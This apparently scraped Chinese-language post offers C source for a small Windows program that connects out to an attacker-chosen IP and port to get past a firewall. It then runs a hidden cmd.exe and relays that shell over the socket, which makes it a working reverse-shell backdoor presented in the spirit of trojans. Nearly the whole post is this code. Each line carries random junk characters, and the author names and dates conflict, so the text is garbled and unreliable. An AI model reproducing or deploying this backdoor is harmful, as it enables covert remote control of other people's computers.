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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 klwC.=?(j"  
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/* ============================== Q|DVB  
Rebound port in Windows NT iOFp9i=j  
By wind,2006/7 O ;34~k   
===============================*/ %M=Ob k  
#include Skb d'j  
#include hyHeyDO2  
D <16m<b  
#pragma comment(lib,"wsock32.lib") hLv~N}  
kE8\\}B7  
void OutputShell(); r+0<A.''a  
SOCKET sClient; #cnh ~O  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; z(8:7 G  
t-gLh(-.  
void main(int argc,char **argv) bPlqS+ai_  
{ kK,Ne%}a2K  
WSADATA stWsaData; +2KYtyI  
int nRet; 3.t j%+  
SOCKADDR_IN stSaiClient,stSaiServer; }MCh$  
>!D^F]CH  
if(argc != 3) +nz6+{li\  
{ KBe\)Vs  
printf("Useage:\n\rRebound DestIP DestPort\n"); UdiogXZ  
return; 4kNiS^h  
} At0ahy+  
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WSAStartup(MAKEWORD(2,2),&stWsaData); @MoBR.  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yMd<<:Ap  
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stSaiClient.sin_family = AF_INET; RCL}bE  
stSaiClient.sin_port = htons(0); |#Gug('  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Sb/`a~q ^  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x @a3STKT  
{ mr 6~8 I  
printf("Bind Socket Failed!\n"); PX} ~  
return; FJ/c(K  
} a(eKb2CX  
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stSaiServer.sin_family = AF_INET; LwI A4$d  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r'bPSu,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); YcmLc)a7  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5Y3L  
{ R^ln-H;  
printf("Connect Error!"); w<P$)~6  
return; m-v0=+~&  
} ^E#i5d+'N  
OutputShell(); 4pJ #fkc^  
} ,u<oAI`  
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void OutputShell() V#P`FX  
{ %0gcNk"=  
char szBuff[1024]; okkMx"  
SECURITY_ATTRIBUTES stSecurityAttributes; 0#d:<+4D  
OSVERSIONINFO stOsversionInfo; XH`W(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; m+a\NXWR?N  
STARTUPINFO stStartupInfo; z*w.A=r  
char *szShell; XZ&cTjNB&  
PROCESS_INFORMATION stProcessInformation; g.wDg  
unsigned long lBytesRead; ? koIZ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i>aIuQ`pe  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); DCheG7lo{  
stSecurityAttributes.lpSecurityDescriptor = 0; 2N}UB=J  
stSecurityAttributes.bInheritHandle = TRUE; v(`9+*  
`Q!#v{  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f =MP1q[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b$JrLZs$_  
]=Dzr<*v  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;ipT0*Y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wV\.NQtS  
stStartupInfo.wShowWindow = SW_HIDE; 6g-Q  
stStartupInfo.hStdInput = hReadPipe; 5I6u 2k3  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qGXY  
8:sQB% BB  
GetVersionEx(&stOsversionInfo); v1VH&~e  
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switch(stOsversionInfo.dwPlatformId) AeR*79x  
{ bn#'o(Lp  
case 1: p&$O}AX|  
szShell = "command.com"; WdZ_^  
break; w\zNn4B})A  
default: V]5MIiNl  
szShell = "cmd.exe"; EGysA{o"X  
break; QF4)@ r{2x  
} cfC}"As  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \&MJ(F>vJ  
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send(sClient,szMsg,77,0); ~Z:)Y*  
while(1) v83@J~  
{ CxD=8X9m  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V.-cm51I  
if(lBytesRead) 8.zYa(< 2  
{ {HtW`r1)Tt  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -x VZm8y  
send(sClient,szBuff,lBytesRead,0); u\q(v D.  
} }1EtM/Ni{!  
else @+7CfvM  
{ p5aqlYb6r  
lBytesRead=recv(sClient,szBuff,1024,0); f7b6!R;z_  
if(lBytesRead<=0) break; k![oJ.vHD  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %z6_,|%  
}  Pm"nwm  
} jct'B}@X(  
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return; 3Dx@rW\  
}
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